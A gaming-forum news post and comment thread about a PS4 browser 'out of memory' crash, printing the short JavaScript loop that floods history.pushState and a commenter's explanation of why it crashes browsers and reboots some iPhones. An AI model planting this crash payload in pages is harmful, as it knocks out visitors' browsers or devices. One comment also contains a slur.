PS4 Out of Memory Error Browser Crash Demo Video by SilicaAndPina

A few weeks back we caught wind of a PSNS Protocol Crash which was further detailed HERE, and today following the HENkaku4.tk Webpage Demo PlayStation developer @SilicaAndPina shared the code alongside a demo video of crashing the PS4 browser with a 'There is not enough free system memory' out of memory PlayStation 4 error message.

This reminds me of an article I read where Google's Pixel, Apple's Safari and Adobe's Flash all crumbled in seconds to a team of Chinese hackers at PwnFest recently.

If you'd like to give it a whirl on your own PS4, you can do so at Silica's Test Site Henkaku4.tk using the Crash The Browser (PS4) (Throws an error) link, or using the code from her Pastebin.com below.

<script>
         var total = "";
         for( var i = 0; i < 100000; i++ ) {
             total = total + i.toString();
             history.pushState(0,0, total );
         }
</script>

Crashing the PS4 Browser -- MEMORY ERROR!!!

Below are some related Tweets on it, @LightningMods started a collection of PS4 HTML Scripts for those interested and thanks to @raedoob for sharing the news in the PSXHAX Shoutbox.

 

[Jeff]

It is the Crash Safari bug

var total = "";
for( var i = 0; i < 100000; i++ ) {
total = total + i.toString();
history.pushState(0,0, total );
}

Let's understand what's going on here. The HTML5 history API syntax ishistory.pushState(state, title, url);
pushState() takes three parameters: a state object, a title, and (optionally) a URL.
* state object — Is a JavaScript object which is associated with the new history entry created by pushState()
* title — Short description of the state
* url — Optionally, you can specify a url of the state
Mobile Safari browser's HTML5 history API has vulnerability.
Basically, in the snippet above we push to the state object 100,000 entries with URL that look like that
0
01
012
0123
01234
012345
0123456
01234567
012345678
0123456789
012345678910
01234567891011
0123456789101112
012345678910111213
01234567891011121314
0123456789101112131415
012345678910111213141516
....
....
0123456789............999998999999

JavaScript browser engine cannot handle it and browser's memory consumptions starting to grow exponentially, the platform kills the browser process in some devices, but on Apple iPhone the OS, actually, reboots the device.

http://rebootmyphone.com/howitworks.html

 

[Wultra]

Why do we promote stuff like this ? That won't effect the playstation at all ?

 

[PSXHAX]

Spoiler

 

[mink20]

That's it, i'm done with this retarded website. Specifically the admin who likes feeding the trolls and giving out false hopes.

I could find hundreds of ways to crash that premature webkit browser. I don't care if you ban me and just do so please, im removing this from my startup page.

Stop making fuzz over menial things

 

[PSXHAX]

LOL why would we ban you, rant all you want here sweetie that's what forums are for.

 

[Wultra]

For people who wants too see proof of code...​

 

[Radio]

What is the actual purpose if a memory dump?

 

[Wultra]

What is the actual purpose if a memory dump?

NOTHING..

 

[Howie648]

Wow, It's been a long time since I had a Bud Dry. Like high school LOL. I don't even know if they make it anymore.